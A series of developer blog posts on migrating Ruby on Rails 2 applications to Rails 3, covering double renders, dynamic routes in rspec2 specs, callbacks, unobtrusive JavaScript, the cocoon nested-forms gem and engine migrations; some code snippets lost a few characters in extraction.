I migrated the actionwebservice gem to rails3. Inside actionwebservice (server-side) there is the option to test your SOAP interface. What this does, under the cover, is first handle the SOAP-request (and render the result), and then wrap those results inside a HTML-view. Very nice. To circumvent the double render exception in rails2 you had to call a function erase_render_results. Unfortunately this function is no longer available in rails3. Luckily the fix is quite easy (but it took me a while to find). Inside actionwebservice the following function was called inside a controller to allow a second render: [ruby] def reset_invocation_response erase_render_results response.instance_variable_set :@header,"cookie" => [])) end [/ruby] To make this work in rails3, you just have to write: [ruby] def reset_invocation_response self.instance_variable_set(:@_response_body, nil) response.instance_variable_set :@header,"cookie" => [], 'Content-Type' => 'text/html') end [/ruby] So in short: to allow a second render, you have to

  • set the controller's instance variable @_response_body to nil
  • reset the content-header Hope this helps.
More ...
News routing rspec2 rails3
rails3 and rspec2: dynamically testing routes

During the migration of a huge application from rails2 to rails3 I encountered a seriously baflling error. In almost every controller spec, i got the the following error: [ruby] Caught ActionController::RoutingError: No route matches {:controller=>"home"} [/ruby] This got me puzzling. If i ran a single controller-spec it worked, running the whole bunch failed (using rake spec or rspec spec/controllers/**/*_spec.rb). So I posted a question on stackoverflow and on the rspec-mailing-list. When googling, all related issues seemed to be caused by actual errors in config/routes.rb, but my application was working, it was generating all links correctly. It only failed when testing, and only when running the full suite. What i did to solve this, was actually compare the log-files of a single group of working controllers with the total set of controllers. And there it was: the routing table was erased by the first spec i ran. We have a base controller class where the shared behaviour for our API-controllers is placed. To test this controller we create, inside our spec, a new controller-class that derives from that baseclass and add a new route. In rails2 and rspec1 this spec looked as follows (simplified): [ruby] require 'spec_helper' class WsTestController < Ws::BaseController def index end end ActionController::Routing::Routes.draw do |map| map.connect ':controller/:action/:id' map.connect ':controller/:action/:id.:format' end describe WsTestController do context "without authentication" do it("asks for Basic authentication") { get :index response.status.should contain("401") } end context "with authentication" do # .. snipped the rest .. end end [/ruby] Now apparently what happens now, in rails3, is that instead of adding routes, the entire routing table is replaced by these routes. Whoops. So in effect, this was almost the only controller-spec that actually worked. When i disabled this spec, or more specifically the part where the routes are manhandled, all my controller and view specs worked again. So how do you fix this? How can you dynamically add routes in rails3 at runtime? Luckily google found the solution here. So my working spec for rails3/rspec2 looks as follows (and that doesn't interfere with my other specs) : [ruby] require 'spec_helper' class WsTestController < Ws::BaseController def index render :text => 'this worked' end end describe WsTestController do before(:each) do begin _routes = Dpplus::Application.routes _routes.disable_clear_and_finalize = true _routes.clear! Dpplus::Application.routes_reloader.paths.each{ |path| load(path) } _routes.draw do # here you can add any route you want get "ws_test/index" end ActiveSupport.on_load(:action_controller) { _routes.finalize! } ensure _routes.disable_clear_and_finalize = false end end context "without authentication" do it("asks for Basic authentication") { get :index response.status.should contain("401") response.header["WWW-Authenticate"].should contain('Basic') } end context "with authentication" do # ..snipped ... end end [/ruby] Hope this helps :)

More ...
News ruby migrate to rails3 rspec2 rails3 rails
Porting an existing rails 2 site to rails 3

I have created a few rails 3 sites, but i have never before ported an existing rails2 application to rails3. I will describe the problems i encountered. First off there were some very good resources (step-by-step descriptions) to guide me through it:


Before we wrote: [ruby] module Workflow class Base define_callbacks :before_something, :after_something def some_method run_callbacks :before_something puts "some method" run_callbacks :after_something end end class SpecificWorkflow < Base before_something :do_something def do_something puts "something" end end [/ruby] Now, this has changed. Into the following: [ruby] module Workflow class Base define_callbacks :something def some_method run_callbacks :something do puts "some method" end end end class SpecificWorkflow < Base set_callback :something, :before, :do_something def do_something puts "something" end end [/ruby] Which is pretty nice. It has the disadvantage we can only use :before and :after callbacks anymore, but that was easily solved.


We hooked into the Rack middleware before the ActionController::ParamsParser to make sure we return Bad Request when the parsing fails. This middleware has been renamed to ActionDispatch::ParamsParser. Easy fix :)

safe_helper removed?

We prepared our Rails 2 project a long time ago, and used the rails_xss plugin. We used the safe_helper all over our helper-methods, but apparently this is not supported in Rails 3. Bummer. So, before [ruby] def some_helper "<strong>something</strong>" end safe_helper :some_helper [/ruby] After: [ruby] def some_helper "<strong>something</strong>".html_safe end [/ruby] A bit annoying to do, a bit unfortunate, because we thought we were preparing ourselves for a smoother upgrade. Not entirely so.

The routes!

Only after those steps did my rails get far enough to discover my routes. I did not change anything about the routes, just placed inside the correct block. I deleted my index.html and put back my original application.html.haml and the first view was working.

The missing to_key

The to_key was missing inside the user_session model. I described that solution already in this blogpost. So i just needed to fix that.

Replacing ActionController::RecordIdentifier.singular_class_name

We used ActionController::RecordIdentifier.singular_class_name, in rails3 this is replaced by ActionController::RecordIdentifier.dom_class.

Missing translations

A feature we used a lot was I18n.t('.filter') and this would look for operators.filter.filter because the line was inside a partial _shared/_filter.html.haml and called from the operators/index.html.haml. Now this does not work anymore, and now instead I18n looks for _shared.filter.filter. I did not find an easy way to solve this, just moved some translations. Luckily we did not override the translations of a partial based on the context where it was rendered yet. Does anybody has any tips on that?

Upgrading javascript helpers

In rails3 unobtrusive is the way to go. So, a remote_form_for like [ruby] - form_remote_tag :url => update_url do [/ruby] becomes [ruby] - form_tag :url => update_url, :remote => true do [/ruby] Which seems easy enough. It does get more complicated when the :update tag is used. For example: [ruby] - remote_form_for post, :update => {:success => "result_#{id}"} do |form| [/ruby] becomes [ruby] - remote_form_for post, :remote => true, :html => {:class => 'remote-post-form', :'data-update' => "#result_#{id}"} do |form| [/ruby] The :update is no longer supported as before, and we have to perform some glueing ourselves. So i replaced the :update by data-update. And then inside javascript (e.g. application.js) we can do the following: [javascript] jQuery(function($) { $(".remote-post-form") .bind("ajax:success", function(data, status, xhr) { var update_selector = $(this).attr('data-update'); $(update_selector).html(status); }); }); [/javascript] If you need more elaborate example, check this question on stackoverflow.


This has been replaced by _helpers.


The active_layout method, of a controller, no longer exists inside rails3. To replace it you need to use two methods:

  • action_has_layout? returns true if a layout exists.
  • To get the layout-name, i have no better solution then calling the private method _layout. This can be done, as known, by doing controller.send(:_layout).

Upgrade rspec

I had to upgrade Rspec 1 to v2. First off in the Gemfile i added the correct version. I removed the rspec.rake file. I ran [ruby] rails g rspec:install [/ruby] But still all rake spec commands were missing. The fix was simple. In the Gemfile make sure the rspec-rails is also usable from development mode: [ruby] group :development, :test do gem 'rspec-rails' end [/ruby] Now on to fixing the tests!

Fixing the tests

In the upgrade from rspec1 to rspec2 a lot of things have changed. What i encountered:

  • replace all Spec:: by RSpec::
  • controller_name 'users' no longer exists, write a surrounding describe UsersController do instead (that is also clearer imho)
  • ...

Extending Rspec::Rails::ExampleGroup::ControllerExampleGroup

Before, in rspec1, ControllerExampleGroup was a class and you could add code to it. So for instance, we had a file like this in our support folder: [ruby] module RSpec module Rails module Example class ControllerExampleGroup let(:the_account ) { Factory(:account) } let(:the_user ) { Factory(:user)} end end end end [/ruby] A bit larger, but you get the picture: this allowed us to define a set of shared let definitions. In rspec-2 this is no longer possible this way, because ControllerExampleGroup is now a module. I handled that like this: [ruby] module Lets def self.included(base) base.let(:the_account ) { Factory(:account) } base.let(:the_user ) { Factory(:user)} end end [/ruby] and inside my spec_helper this file is automatically required (since it is stored in the support folder) and i just add [ruby] config.include(Lets) [/ruby]

Rspec: replace config.extend

I also noticed that using config.extend(ModuleName) dit not work anymore. Instead i had to write (on the same place, inside the configure block) : [ruby] Rspec.configure do |config| .. include ModuleName .. end [/ruby] and that worked for me.


Do you have more hints to share? What bumps did you find and how did you overcome them?

More ...
Cocoon: handling nested forms

cocoon is a Rails3 gem to allow easier handling of nested forms. Nested forms are forms that handle nested models and attributes dynamically in one form. Some standard examples: a project with its tasks, an invoice with its ordered items. It is formbuilder-agnostic, so it works with standard Rails, or formtastic or simple_form.


This gem uses jQuery, it is most useful to use this gem in a rails3 project where you are already using jQuery. Furthermore i would advice you to use either formtastic or simple_form. I have a sample project where I demonstrate the use of cocoon with formtastic.


Inside your Gemfile add the following: [ruby] gem "cocoon" [/ruby] Run the installation task: [ruby] rails g cocoon:install [/ruby] This will install the needed javascript file. Inside your application.html.haml you will need to add below the default javascripts: [ruby] = javascript_include_tag :cocoon [/ruby] or using erb, you write [ruby] <%= javascript_include_tag :cocoon %> [/ruby] That is all you need to do to start using it!


Suppose you have a model Project: [ruby] rails g scaffold Project name:string description:string [/ruby] and a project has many tasks: [ruby] rails g model Task description:string done:boolean project_id:integer [/ruby] Edit the models to code the relation: [ruby] class Project < ActiveRecord::Base has_many :tasks accepts_nested_attributes_for :tasks end class Task < ActiveRecord::Base belongs_to :project end [/ruby] What we want to achieve is to get a form where we can add and remove the tasks dynamically. What we need for this, is that the fields for a new/existing task are defined in a partial view called _task_fields.html. Note: the name of the partial is really important, as this plugin will look for the partial named as the singular of the relation + _fields. We will show the sample usage with the different possible form-builders.

Using formtastic

Inside our projects/_form partial we then write: [ruby] - f.inputs do = f.input :name = f.input :description %h3 Tasks #tasks = f.semantic_fields_for :tasks do |task| = render 'task_fields', :f => task .links = link_to_add_association 'add task', f, :tasks -f.buttons do = f.submit 'Save' [/ruby] and inside the _task_fields partial we write: [ruby] .nested-fields = f.inputs do = f.input :description = f.input :done, :as => :boolean = link_to_remove_association "remove task", f [/ruby] That is all there is to it! There is an example project on github implementing it called cocoon-formtastic-demo.

Using simple_form

This is almost identical to formtastic, instead of writing semantic_fields_for you write simple_fields_for. There is an example project on github implementing it called cocoon_simple_form_demo.

Using standard rails forms

I will provide a full example (and a sample project) later.

How it works

I define two helper functions:


This function will add a link to your markup that will, when clicked, dynamically add a new partial form for the given association. This should be placed below the semantic_fields_for. It takes three parameters:

  • name: the text to show in the link
  • f: referring to the containing formtastic form-object
  • association: the name of the association (plural) of which a new instance needs to be added (symbol or string).


This function will add a link to your markup that will, when clicked, dynamically remove the surrounding partial form. This should be placed inside the partial _#{association-object-singular}_fields.


!!!Important The partial should be named _#{association-object_singular}_fields, and should start with a div of class nested-fields. There is no limit to the amount of nesting, though.

To conclude

I hope it can be of use. Let me know what you think.

More ...
Uncategorized engines generators migrations rails3
handling migrations in rails 3 engines

In the process of converting a rails 2.3.* plugin to a rails 3 gem, i bumped into the problem of converting the migrations too. There was some documentation in the rails-guides, but it did not quite do what i wanted. I also found out that in the next version of rails (3.1) there will be support for rake tasks for migrations from engines. What i wanted was that upon invocation of my InstallGenerator, also the migrations would be added, and the user could just do rake db:migrate. So, presume my gem is called MyGem, i want that the following line could be run: [ruby] rails g my_gem:install [/ruby] To achieve this goal, you need to define an InstallGenerator that will add the migrations to the Rails application itself.

create the generator

Create the folder lib\generators\my_gem\install and inside that folder create a file called install_generator.rb with the following code: [ruby] require 'rails/generators/migration' module YourGemName module Generators class InstallGenerator < ::Rails::Generators::Base include Rails::Generators::Migration source_root File.expand_path('../templates', __FILE__) desc "add the migrations" def self.next_migration_number(path) unless @prev_migration_nr @prev_migration_nr ="%Y%m%d%H%M%S").to_i else @prev_migration_nr += 1 end @prev_migration_nr.to_s end def copy_migrations migration_template "create_something.rb", "db/migrate/create_something.rb" migration_template "create_something_else.rb", "db/migrate/create_something_else.rb" end end end end [/ruby] The function next_migration_number makes sure each migration gets a unique number (even if they are all added in the same second).

add the migration templates

Inside the lib/generators/my_gem/install/templates add your two files containing the migrations. Let us define the one named create_something.rb : [ruby] class CreateSomething < ActiveRecord::Migration def self.up create_table :abilities do |t| t.string :name t.string :description t.boolean :needs_extent t.timestamps end end def self.down drop_table :abilities end end [/ruby] You can define the other examples as you wish.

run the migrations

When your gem is added to some app, you can just do : [ruby] rails g my_gem:install rake db:migrate [/ruby] Hope this helps.

More ...